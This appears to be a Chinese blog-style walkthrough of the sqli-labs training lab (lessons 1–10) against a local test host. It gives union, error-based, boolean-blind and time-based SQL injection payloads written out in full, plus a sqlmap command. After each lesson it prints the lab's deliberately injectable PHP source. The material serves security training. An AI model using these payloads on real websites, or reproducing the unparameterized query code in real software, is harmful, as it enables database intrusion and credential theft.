http://192.168.1.9/sqli-labs/Less-1/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-1/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-1/?id=2
显示页面如下,可以看到页面与id=1不同。http://192.168.1.9/sqli-labs/Less-1/?id=1'
,显示结果如下,状态异常,在下面的错误提示中,''1'' limit 0,1'
语句的首尾两个单引号是用来括起SQL语句出错的位置'1'' limit 0,1
,这就很明显可以看出我们输入的1'
是被单引号所闭合的。http://192.168.1.9/sqli-labs/Less-1/?id=1' order by 3--+
,其中,1'
中的单引号是为了闭合SQL语句中已存在的单引号,--+
主要目的是闭合后续的单引号,刚好又注释掉其他内容。http://192.168.1.9/sqli-labs/Less-1/?id=1' order by 4--+
,则报错,结合上一语句可以推断SQL语句Select的结果中有3列。http://192.168.1.9/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
,其中-1
这个id在数据库中不存在,因此SQL语句查询不到响应的内容,这样,后面union select的查询结果才能显示到页面上来。显示如下,可以看到2和3两个位置的内容是可以显示到前端。http://192.168.1.9/sqli-labs/Less-1/?id=-1' union select 1,database(),3--+
,显示如下,在第二个显示位上,成功爆出该应用所在的数据库。python sqlmap.py -u http://192.168.1.9/sqli-labs/Less-1/?id=1
进行测试。根据命令提示,判断输入y或者n。
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
http://192.168.1.9/sqli-labs/Less-2/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-2/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-2/?id=2
显示页面如下,可以看到页面与id=1不同。http://192.168.1.9/sqli-labs/Less-2/?id=1'
,显示结果如下,可以看出单引号没有被过滤,新增加的单引号直接拼接到SQL语句中导致执行出错。http://192.168.1.9/sqli-labs/Less-2/?id=1 order by 3
,无需像Less-1那样去闭合SQL语句中的引号。http://192.168.1.9/sqli-labs/Less-2/?id=1 order by 4
,则报错,结合上一语句可以推断SQL语句Select的结果中有3列。http://192.168.1.9/sqli-labs/Less-2/?id=-1 union select 1,2,3
,其中-1
这个id在数据库中不存在,因此SQL语句查询不到响应的内容,这样,后面union select的查询结果才能显示到页面上来。显示如下,可以看到2和3两个位置的内容是可以显示到前端。http://192.168.1.9/sqli-labs/Less-2/?id=-1 union select 1,database(),3
,显示如下,在第二个显示位上,成功爆出该应用所在的数据库。
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
http://192.168.1.9/sqli-labs/Less-3/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-3/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-3/?id=2
显示页面如下,可以看到页面与id=1不同。http://192.168.1.9/sqli-labs/Less-3/?id=1'
,显示结果如下,可以看出单引号没有被过滤,新增加的单引号直接拼接到SQL语句中导致执行出错。''1'') limit 0,1'
语句的首尾两个单引号是用来括起SQL语句出错的位置''1'') limit 0,1
,与Less-1相比,此处的闭合方式为单引号+圆括号。http://192.168.1.9/sqli-labs/Less-3/?id=-1') union select 1,database(),3--+
,显示如下,在第二个显示位上,成功爆出该应用所在的数据库。
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
http://192.168.1.9/sqli-labs/Less-4/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-4/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-4/?id=2
显示页面如下,可以看到页面与id=1不同。http://192.168.1.9/sqli-labs/Less-4/?id=1'
,与前面关卡不同是的,这里显示正常,由此我们猜测有可能单引号被过滤,这样拼接入SQL语句中的参数还是1;另一种可能是单引号没有过滤,1’直接拼接到SQL语句中执行,但是参数id在数据库中是整型,1’强制转换后还是1,因此仅通过该次尝试无法得出确定的闭合类型。http://192.168.1.9/sqli-labs/Less-4/?id=1"
,显示结果如下,在下面的错误提示中,'"1"") limit 0,1'
语句的首尾两个单引号是用来括起SQL语句出错的位置"1"") limit 0,1
,与Less-1相比,此处的闭合方式为双引号+圆括号。http://192.168.1.9/sqli-labs/Less-4/?id=-1") union select 1,database(),3--+
,显示如下,在第二个显示位上,成功爆出该应用所在的数据库。
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
SELECT * FROM `users` WHERE id = 1 #执行成功,SQL语句成功识别到整型1
SELECT * FROM `users` WHERE id = '1' #执行成功,因为SQL语句识别到字符1,并强制转换为整型1
SELECT * FROM `users` WHERE id = "1" #执行成功,因为SQL语句识别到字符1,并强制转换为整型1
SELECT * FROM `users` WHERE id = "1'" #执行成功,因为SQL语句识别到字符1',并强制转换为整型1
SELECT * FROM `users` WHERE id = '1"' #执行成功,因为SQL语句识别到字符1",并强制转换为整型1
SELECT * FROM `users` WHERE id = '1a' #执行成功,因为SQL语句识别到字符1a,并强制转换为整型1
SELECT * FROM `users` WHERE id = 'a1' #执行失败,因为SQL语句识别到字符a1,无法强制转换为整型1
http://192.168.1.9/sqli-labs/Less-5/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-5/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-5/?id=2
显示页面如下,与前面四关不同的是,这里id=2与id=1显示状态一致。http://192.168.1.9/sqli-labs/Less-5/?id=-1
显示页面如下,结合上一步测试,可以进一步推断出id参数正确页面显示you are in…,参数错误则不显示。http://192.168.1.9/sqli-labs/Less-5/?id=1' order by 3--+
,其中,1'
中的单引号是为了闭合SQL语句中已存在的单引号,--+
主要目的是闭合后续的单引号,刚好又注释掉其他内容。http://192.168.1.9/sqli-labs/Less-5/?id=1' order by 4--+
,则报错,结合上一语句可以推断SQL语句Select的结果中有3列。http://192.168.1.9/sqli-labs/Less-5/?id=-1' union select 1,2,3--+
,在关卡Less-1中,能成功回显联合查询语句,此处显示与id=1一致,猜测应用程序应该是只要SQL语句能成功选择出内容,就显示该页面。这就无法继续使用联合查询注入了。http://192.168.1.9/sqli-labs/Less-5/?id=1' and (updatexml(1,concat(0x5e24,(select database()),0x5e24),1))--+
,成功注入出当前数据库名。http://192.168.1.9/sqli-labs/Less-5/?id=1' and length(database())<5--+
,页面显示如下,意味着and后面的语句判断结果为假,也就是说当前数据库名长度大于或等于5。<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
http://192.168.1.9/sqli-labs/Less-6/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-6/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-6/?id=2
显示页面如下,与Less-5类似。http://192.168.1.9/sqli-labs/Less-6/?id=-1
显示页面如下,结合上一步测试,可以进一步推断出id参数正确页面显示you are in…,参数错误则不显示。http://192.168.1.9/sqli-labs/Less-6/?id=1'
,显示结果与id=1一致。http://192.168.1.9/sqli-labs/Less-6/?id=1"
,显示如下,闭合方式为双引号。http://192.168.1.9/sqli-labs/Less-6/?id=1" and (updatexml(1,concat(0x5e24,(select database()),0x5e24),1))--+
,成功注入出当前数据库名。<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
http://192.168.1.9/sqli-labs/Less-7/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-7/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-7/?id=2
显示页面如下,与Less-5关卡类似。http://192.168.1.9/sqli-labs/Less-7/?id=-1
显示页面如下,结合上一步测试,可以进一步推断出id参数正确页面显示you are in…,参数错误则报错。http://192.168.1.9/sqli-labs/Less-7/?id=1'
,报错,则表示单引号致使SQL语句出错,进一步推断出参数id闭合方式含单引号。http://192.168.1.9/sqli-labs/Less-7/?id=1'--+
,SQL语句执行出错,这里有可能是–+被过滤,或者闭合方式并非单纯一个单引号。http://192.168.1.9/sqli-labs/Less-7/?id=1' and 1=2--+
,执行成功,进一步验证了闭合方式为单引号。http://192.168.1.9/sqli-labs/Less-7/?id=1' and (updatexml(1,concat(0x5e24,(select database()),0x5e24),1)) and '1'='1
,注入失败,还是显示那一句错误提示,没有更具体的提示,这意味着报错注入可能无效了。http://192.168.1.9/sqli-labs/Less-7/?id=1' and length(database())>5 and '1'='1
,页面显示如下,意味着and后面的语句判断结果为真。http://192.168.1.9/sqli-labs/Less-7/?id=1' and length(database())<5 and '1'='1
,页面显示如下,意味着and后面语句判断结果为假,结合上一句可以证明可以使用布尔盲注进行注入。<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in.... Use outfile......';
echo "
";
echo "";
}
else
{
echo '';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
id = (('1' and length(database())<5 and '1'='1'))
带入到SQL中执行后,括号内的内容执行结果为false,强制转换为0,数据库搜索不到该id故报错。访问http://192.168.1.9/sqli-labs/Less-8/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
那就传入一个参数id,http://192.168.1.9/sqli-labs/Less-8/?id=1
显示页面如下,可以看到页面发生变化。
更改参数id的值,http://192.168.1.9/sqli-labs/Less-8/?id=2
显示页面如下,与Less-5关卡类似。
再次更改参数id的值,http://192.168.1.9/sqli-labs/Less-8/?id=0
显示页面如下,结合上一步测试,可以进一步推断出id参数正确页面显示you are in…,参数错误则不显示。
与Less-1类似地,我们可以推测出后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,id参数正确页面显示you are in…,参数错误则不显示。
http://192.168.1.9/sqli-labs/Less-8/?id=1'
,报错,则表示单引号致使SQL语句出错,进一步推断出参数id闭合方式含单引号。http://192.168.1.9/sqli-labs/Less-8/?id=1' and 1=1 and '1'='1
,参数正确。http://192.168.1.9/sqli-labs/Less-8/?id=1' and length(database())>5 and '1'='1
,页面显示如下,意味着and后面的语句判断结果为真。http://192.168.1.9/sqli-labs/Less-8/?id=1' and length(database())<5 and '1'='1
,页面显示如下,意味着and后面语句判断结果为假,结合上一句可以证明可以使用布尔盲注进行注入。<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
http://192.168.1.9/sqli-labs/Less-9/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-9/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-9/?id=2
显示页面如下,与Less-5关卡类似。http://192.168.1.9/sqli-labs/Less-9/?id=0
显示页面如下,与前面关卡不同的是,此处id=0也是一样的页面。http://192.168.1.9/sqli-labs/Less-9/?id=-1
显示页面如下,还是一样,到此我们猜测该页面没有回显数据库内容、没有报错且没有显示布尔状态,还剩下一个时间状态需要在研究闭合方式的同时进行尝试。http://192.168.1.9/sqli-labs/Less-9/?id=1
,可以看到响应时间约1秒钟。http://192.168.1.9/sqli-labs/Less-9/?id=1' and sleep(5) and '1'='1
,响应时间为6秒,由此可见sleep函数被成功执行,可以推断出参数id闭合方式含单引号。http://192.168.1.9/sqli-labs/Less-9/?id=1' and if(length(database())>5,sleep(5),1) and '1'='1
,响应时间约6秒,这意味着sleep函数成功执行,进一步推断出数据库名长度大于5。<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result)
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
http://192.168.1.9/sqli-labs/Less-10/
进入该关卡,显示页面如下,提示我们要传入一个参数id。http://192.168.1.9/sqli-labs/Less-10/?id=1
显示页面如下,可以看到页面发生变化。http://192.168.1.9/sqli-labs/Less-10/?id=2
显示页面如下,与Less-5关卡类似。http://192.168.1.9/sqli-labs/Less-10/?id=0
显示页面如下,与前面关卡不同的是,此处id=0也是一样的页面。http://192.168.1.9/sqli-labs/Less-10/?id=-1
显示页面如下,还是一样,到此我们猜测该页面没有回显数据库内容、没有报错且没有显示布尔状态,还剩下一个时间状态需要在研究闭合方式的同时进行尝试。http://192.168.1.9/sqli-labs/Less-10/?id=1
,可以看到响应时间约1秒钟。http://192.168.1.9/sqli-labs/Less-10/?id=1' and sleep(5) and '1'='1
,响应时间还是为1秒,由此可见sleep函数没有被执行。http://192.168.1.9/sqli-labs/Less-10/?id=1" and sleep(5) and "1"="1
,响应时间还是为1秒,由此可见sleep函数没有被执行。http://192.168.1.9/sqli-labs/Less-10/?id=1" and if(length(database())>5,sleep(5),1) and "1"="1
,响应时间约6秒,这意味着sleep函数成功执行,进一步推断出数据库名长度大于5。不知为何注入不了。。。
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
((' '))
,但是我们只需要采用单引号将我们的语句闭合起来,就能在SQL中执行(执行结果再成为id的值),没必要将单引号外面有多少层括号研究清楚。